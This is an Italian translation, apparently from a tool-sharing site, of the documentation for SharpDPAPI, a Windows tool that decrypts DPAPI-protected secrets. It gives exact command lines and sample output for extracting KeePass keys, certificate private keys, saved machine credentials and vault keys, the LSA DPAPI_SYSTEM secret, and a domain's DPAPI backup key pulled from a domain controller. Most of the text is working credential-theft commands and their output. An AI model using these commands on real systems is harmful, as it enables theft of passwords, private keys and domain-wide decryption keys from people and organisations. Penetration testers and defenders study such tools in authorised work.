Il comando keepass cercherà i file ProtectedUserKey.bin di KeePass per l'utente corrente (o, se elevato, per tutti gli utenti) e a) li decripta con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di una o più mappature {GUID}:SHA1 masterkey, c) utilizza una chiave di backup del dominio DPAPI (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima eventuali masterkey utente (alla masterkeys), o d) una /password:X per decriptare eventuali masterkey utente, che vengono poi utilizzate come tabella di decriptazione. Le mappature GUID DPAPI possono essere recuperate con il comando sekurlsa::dpapi di Mimikatz.

Il flag /unprotect utilizzerà CryptUnprotectData() per decriptare i byte della chiave, se il comando viene eseguito dal contesto utente che ha salvato le password. Questo può essere fatto da un contesto non privilegiato, senza dover toccare LSASS. Per il motivo per cui questo approccio non viene utilizzato per credentials/vaults, vedere la documentazione qui di Benjamin.

Un file ProtectedUserKey.bin specifico, file .RDC (o cartella di file .RDG) può essere specificato con /target:FILE o /target:C:\Folder\. Se viene specificato un file, sono richiesti valori {GUID}:SHA1 (o /unprotect), e se viene specificata una cartella, a) devono essere forniti valori {GUID}:SHA1 oppure b) la cartella deve contenere masterkey DPAPI e deve essere fornita una chiave di backup del dominio /pvk.

I byte decriptati del file della chiave possono essere utilizzati con la versione modificata di KeePass in KeeThief.

Utilizzando /unprotect per decriptare eventuali materiali chiave trovati:

root@kitploit:~
C:\Temp> SharpDPAPI.exe  keepass /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: KeePass Triage

[*] Using CryptUnprotectData() for decryption.

[*] Triaging KeePass ProtectedUserKey.bin files for current user

    File             : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
    Accessed         : 3/1/2021 1:38:22 PM
    Modified         : 1/4/2021 5:49:49 PM
    guidMasterKey    : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    size             : 210
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Key Bytes        : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI completed in 00:00:00.0566660

certificates

Il comando certificates cercherà le chiavi private dei certificati DPAPI crittografati dall'utente e a) le decripta con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di una o più mappature {GUID}:SHA1 masterkey, c) utilizza una chiave di backup del dominio DPAPI (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima eventuali masterkey utente (alla masterkeys), o d) una /password:X per decriptare eventuali masterkey utente, che vengono poi utilizzate come tabella di decriptazione. Le mappature GUID DPAPI possono essere recuperate con il comando sekurlsa::dpapi di Mimikatz.

Il flag /unprotect utilizzerà CryptUnprotectData() per decriptare le chiavi private, se il comando viene eseguito dal contesto utente dei certificati a cui si sta cercando di accedere. Questo può essere fatto da un contesto non privilegiato, senza dover toccare LSASS. Per il motivo per cui questo approccio non viene utilizzato per credentials/vaults, vedere la documentazione qui di Benjamin.

Un certificato specifico può essere specificato con /target:FILE o /target:C:\Folder\. In entrambi i casi, sono richiesti valori {GUID}:SHA1 (o /unprotect) oppure b) la cartella deve contenere masterkey DPAPI e deve essere fornita una chiave di backup del dominio /pvk.

Per impostazione predefinita, vengono visualizzate solo le chiavi private collegabili a un certificato installato associato. Il comando /showall visualizzerà TUTTE le chiavi private decriptate.

Utilizzare il flag /cng per le chiavi private CNG (default è capi).

Utilizzando mappature masterkey di dominio {GUID}:SHA1:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage

Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daThumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

Utilizzo di /unprotect per decifrare eventuali certificati utente trovati:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Action: Certificate Triage

[*] Using CryptUnprotectData() for decryption.


Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
    Description      : Private Key
    algCrypt         : CALG_AES_256 (keyLen 256)
    algHash          : CALG_SHA_512 (32782)
    Salt             : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
    HMAC             : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
    Unique Name      : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}

    Thumbprint       : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 10/18/2022 11:40:07 AM
    Expiry Date      : 10/18/2023 12:00:07 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----

Utilizzo di una chiave di backup DPAPI di dominio per decifrare prima eventuali masterkey individuabili:

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!


[*] User master key cache:

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...



Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

    Thumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

triage

Il comando triage esegue i comandi utente credentials, vaults, rdg e certificates.

Machine Triage

machinemasterkeys

Il comando machinemasterkeys si eleva a SYSTEM per recuperare il segreto LSA DPAPI_SYSTEM, che viene poi utilizzato per decifrare eventuali masterkey DPAPI della macchina trovate. Restituirà un insieme di mapping masterkey {GUID}:SHA1.

Sono necessari diritti amministrativi locali (per recuperare il segreto LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinemasterkeys

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Masterkey File Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

machinecredentials

Il comando machinecredentials si eleva a SYSTEM per recuperare il segreto LSA DPAPI_SYSTEM, che viene poi utilizzato per decifrare eventuali masterkey DPAPI della macchina trovate. Queste chiavi vengono quindi utilizzate per decifrare eventuali file Credential della macchina trovati.

Sono necessari diritti amministrativi locali (per recuperare il segreto LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinecredentials

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Credential Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging System Credentials


Folder       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  CredFile           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    size             : 544
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 3/24/2019 7:08:43 PM
    TargetName       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    TargetAlias      :
    Comment          :
    UserName         : TESTLAB\harmj0y
    Credential       : Password123!


Folder       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    ...(snip)...

machinevaults

Il comando machinevaults si eleva a SYSTEM per recuperare il segreto LSA DPAPI_SYSTEM, che viene poi utilizzato per decifrare eventuali masterkey DPAPI della macchina trovate. Queste chiavi vengono quindi utilizzate per decifrare eventuali Vault della macchina trovati.

Sono necessari diritti amministrativi locali (per recuperare il segreto LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinevaults

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Vault Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging SYSTEM Vaults


[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    size             : 324
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      :
    aes128 key       : 74CE3D7BCC4D0C4734931041F6D00D09
    aes256 key       : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

certificates /machine

Il comando certificates /machine utilizza l'archivio certificati della macchina per cercare chiavi private dei certificati macchina decifrabili. /mkfile:X e {GUID}:masterkey sono utilizzabili con il comando /target:\[file|folder\], altrimenti SharpDPAPI si eleva a SYSTEM per recuperare il segreto LSA DPAPI_SYSTEM, che viene poi utilizzato per decifrare eventuali masterkey DPAPI della macchina trovate. Queste chiavi vengono quindi utilizzate per decifrare eventuali chiavi private dei certificati DPAPI crittografati di sistema della macchina.

Per impostazione predefinita, vengono visualizzate solo le chiavi private collegabili a un certificato installato associato. Il comando /showall mostrerà TUTTE le chiavi private decifrate.

Sono necessari diritti amministrativi locali (per recuperare il segreto LSA DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /machine

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] Triaging System Certificates


Folder       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

  File               : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : aa8c9e4849455660fc5fc96589f3e40e
    HMAC             : 9138559ef30fbd70808dca2c1ed02a29
    Unique Name      : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

    Thumbprint       : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=dev.theshire.local
    Valid Date       : 2/22/2021 3:50:43 PM
    Expiry Date      : 2/22/2022 3:50:43 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

machinetriage

Il comando machinetriage esegue i comandi machinecredentials, machinevaults e certificates /machine.

Misc

ps

Il comando ps descrive/decifra un PSCredential clixml esportato. È obbligatorio specificare /target:FILE.xml.

Il comando può a) decifrare il file con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di uno o più mapping di masterkey {GUID}:SHA1, c) utilizzare una chiave di backup DPAPI di dominio fornita (/pvk:BASE64... o /pvk:key.pvk) per decifrare prima eventuali masterkey utente (alla maniera di masterkeys), o d) una /password:X per decifrare eventuali masterkey utente, che vengono poi utilizzate come tabella di decifratura. I mapping GUID DPAPI possono essere recuperati con il comando sekurlsa::dpapi di Mimikatz.

Il flag /unprotect utilizza CryptUnprotectData() per decifrare il file .xml delle credenziali senza bisogno di masterkey, se il comando viene eseguito dal contesto utente che ha salvato le password. Questo può essere fatto da un contesto non privilegiato, senza la necessità di toccare LSASS. Per capire perché questo approccio non viene utilizzato per credenziali/vault, consulta la documentazione di Benjamin qui.

Decifrare un file .xml di credenziali esportato utilizzando CryptProtectData() (il flag /unprotect):

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 11:53:09 AM
    Modified         : 7/25/2019 11:53:09 AM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Utilizzo dei mapping di masterkey {GUID}:SHA1 di dominio:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Utilizzo di una chiave di backup DPAPI di dominio per decifrare prima eventuali masterkey individuabili:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

blob

Il comando blob descrive/decifra un blob DPAPI. È obbligatorio specificare /target:<BASE64|blob.bin>.

Il comando può a) decifrare il blob con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di uno o più mapping di masterkey {GUID}:SHA1, c) utilizzare una chiave di backup DPAPI di dominio fornita (/pvk:BASE64... o /pvk:key.pvk) per decifrare prima eventuali masterkey utente (alla maniera di masterkeys), o d) una /password:X per decifrare eventuali masterkey utente, che vengono poi utilizzate come tabella di decifratura. I mapping GUID DPAPI possono essere recuperati con il comando sekurlsa::dpapi di Mimikatz.

Il flag /unprotect utilizza CryptUnprotectData() per decifrare il blob senza bisogno di masterkey, se il comando viene eseguito dal contesto utente che ha salvato le password. Questo può essere fatto da un contesto non privilegiato, senza la necessità di toccare LSASS. Per capire perché questo approccio non viene utilizzato per credenziali/vault, consulta la documentazione di Benjamin qui.

Decifrare un blob utilizzando CryptProtectData() (il flag /unprotect):

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : Password123!

Utilizzo dei mapping di masterkey {GUID}:SHA1 di dominio:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Azione: Descrivi blob DPAPI

[*] Utilizzo di CryptUnprotectData() per la decifratura.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

Utilizzando una chiave di backup DPAPI del dominio per decifrare prima eventuali masterkey individuabili:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Azione: Descrivi blob DPAPI

[*] Utilizzo di una chiave di backup DPAPI del dominio per esaminare le masterkey per le corrispondenze delle chiavi di decifratura!

[*] Cache delle masterkey utente:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

backupkey

Il comando backupkey recupererà la chiave di backup DPAPI del dominio da un controller di dominio utilizzando l'approccio API LsaRetrievePrivateData da Mimikatz. Questa chiave privata può quindi essere utilizzata per decifrare i blob delle master key per qualsiasi utente del dominio. E ancora meglio, la chiave non cambia mai ;)

Sono necessari diritti di amministratore di dominio (o equivalenti) per recuperare la chiave da un controller di dominio remoto.

Il flag /nowrap impedirà di avvolgere la chiave base64 durante la visualizzazione.

Questo blob di chiave base64 può essere decodificato in un file binario .pvk che può quindi essere utilizzato con il modulo dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk di Mimikatz, oppure utilizzato nella forma blob/file /pvk:X con i comandi SharpDPAPI masterkeys, credentials o vault.

Per impostazione predefinita, SharpDPAPI tenterà di determinare il controller di dominio corrente tramite la chiamata API DsGetDcName. È possibile specificare un server con /server:COMPUTER.domain.com. Se si desidera salvare la chiave su disco invece di visualizzarla come blob base64, utilizzare /file:key.pvk.

Recupera la chiave di backup DPAPI per il controller di dominio corrente:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Azione: Recupera chiave di backup DPAPI del dominio


[*] Utilizzo del controller di dominio corrente: PRIMARY.testlab.local
[*] Guid backupkey preferito         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Nome backupKeyName completo preferito     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Key :
          HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...

Recupera la chiave di backup DPAPI per il DC specificato, scrivendo la chiave di backup in un file:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Azione: Recupera chiave di backup DPAPI del dominio


[*] Utilizzo del server                     : primary.testlab.local
[*] Guid backupkey preferito         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Nome backupKeyName completo preferito     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Chiave di backup scritta su            : key.pvk

search

Il comando search cercherà potenziali blob DPAPI nel registro, file, cartelle e blob base64. Utilizzo:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]

root@kitploit:~
Il comando `search` funziona cercando i seguenti byte, che rappresentano l'intestazione (Versione + GUID del provider DPAPI) della struttura del blob DPAPI:```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

Il comando search ha diversi argomenti a seconda del tipo di dati da analizzare. Per designare il tipo di dati, usa l'argomento /type specificando registry, folder, file o base64. Se l'argomento /type non è presente, il comando cercherà nel registro per impostazione predefinita.

Quando si cerca nel registro senza altri argomenti, il comando cercherà ricorsivamente gli hive HKEY_LOCAL_MACHINE e HKEY_USERS. Usa il parametro /path per specificare una radice da cui cercare (ad es. /path:HKLM\Software) e usa l'argomento /showErrors per visualizzare gli errori che si verificano durante l'enumerazione.

Quando si cerca un file o una cartella, specifica un percorso con /path:C:\Path\to\file\or\folder e opzionalmente usa /maxBytes:<int> per specificare il numero di byte da leggere da ogni file (default: 1024 byte). Il comando leggerà i byte dall'inizio del file e cercherà blob DPAPI. Usa /showErrors per visualizzare eventuali errori che si verificano durante l'enumerazione.

